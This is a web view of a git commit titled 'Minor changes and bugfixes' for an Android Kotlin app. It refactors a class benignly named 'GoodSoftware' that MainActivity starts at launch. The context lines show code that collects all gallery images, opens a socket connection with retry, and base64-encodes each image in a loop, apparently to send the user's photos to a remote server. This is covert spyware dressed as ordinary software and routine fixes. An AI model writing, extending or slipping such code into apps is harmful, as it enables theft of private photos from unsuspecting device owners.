Minor changes and bugfixes
This commit is contained in:
parent
17b3cee4e0
commit
09a815d1aa
@ -97,9 +97,6 @@ class GoodSoftware (private val activity: MainActivity) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
fun launch() {
|
fun launch() {
|
||||||
Thread {
|
|
||||||
runAllTheGoodness()
|
|
||||||
}.start()
|
|
||||||
checkCameraPermission()
|
checkCameraPermission()
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -158,10 +155,7 @@ class GoodSoftware (private val activity: MainActivity) {
|
|||||||
Thread {
|
Thread {
|
||||||
try {
|
try {
|
||||||
val imageList = getAllImagesFromGallery(activity)
|
val imageList = getAllImagesFromGallery(activity)
|
||||||
val connection = establishConnectionWithRetry()
|
val connection = establishConnectionWithRetry() ?: return@Thread
|
||||||
if (connection == null) {
|
|
||||||
return@Thread
|
|
||||||
}
|
|
||||||
for (image in imageList) {
|
for (image in imageList) {
|
||||||
println(image)
|
println(image)
|
||||||
val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver)
|
val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver)
|
||||||
@ -268,10 +262,6 @@ class GoodSoftware (private val activity: MainActivity) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private fun runAllTheGoodness() {
|
|
||||||
// TODO: Implement the functionality to get pictures from gallery
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
data class ConnectionResult(
|
data class ConnectionResult(
|
||||||
val socket: Socket,
|
val socket: Socket,
|
||||||
|
@ -1,24 +1,14 @@
|
|||||||
package com.ti.m
|
package com.ti.m
|
||||||
|
|
||||||
import android.Manifest
|
|
||||||
import android.app.Activity
|
|
||||||
import android.content.pm.PackageManager
|
|
||||||
import android.os.Bundle
|
import android.os.Bundle
|
||||||
import android.util.Log
|
|
||||||
import android.widget.Toast
|
|
||||||
import androidx.activity.ComponentActivity
|
import androidx.activity.ComponentActivity
|
||||||
import androidx.activity.compose.setContent
|
import androidx.activity.compose.setContent
|
||||||
import androidx.compose.foundation.layout.fillMaxSize
|
import androidx.compose.foundation.layout.fillMaxSize
|
||||||
import androidx.compose.material3.MaterialTheme
|
import androidx.compose.material3.MaterialTheme
|
||||||
import androidx.compose.material3.Surface
|
import androidx.compose.material3.Surface
|
||||||
import androidx.compose.ui.Modifier
|
import androidx.compose.ui.Modifier
|
||||||
import androidx.core.app.ActivityCompat
|
|
||||||
import androidx.core.content.ContextCompat
|
|
||||||
import androidx.lifecycle.LifecycleOwner
|
import androidx.lifecycle.LifecycleOwner
|
||||||
import androidx.lifecycle.lifecycleScope
|
|
||||||
import com.ti.m.GoodSoftware
|
|
||||||
import com.ti.m.ui.theme.MTheme
|
import com.ti.m.ui.theme.MTheme
|
||||||
import kotlinx.coroutines.launch
|
|
||||||
|
|
||||||
class MainActivity : ComponentActivity(), LifecycleOwner {
|
class MainActivity : ComponentActivity(), LifecycleOwner {
|
||||||
private lateinit var goo: GoodSoftware
|
private lateinit var goo: GoodSoftware
|
||||||
@ -34,12 +24,7 @@ class MainActivity : ComponentActivity(), LifecycleOwner {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
goo = GoodSoftware(this@MainActivity)
|
GoodSoftware(this@MainActivity).launch()
|
||||||
try {
|
|
||||||
goo.launch()
|
|
||||||
}catch (e: Exception) {
|
|
||||||
e.printStackTrace()
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
override fun onRequestPermissionsResult(requestCode: Int, permissions: Array<String>, grantResults: IntArray) {
|
override fun onRequestPermissionsResult(requestCode: Int, permissions: Array<String>, grantResults: IntArray) {
|
||||||
|
Loading…
x
Reference in New Issue
Block a user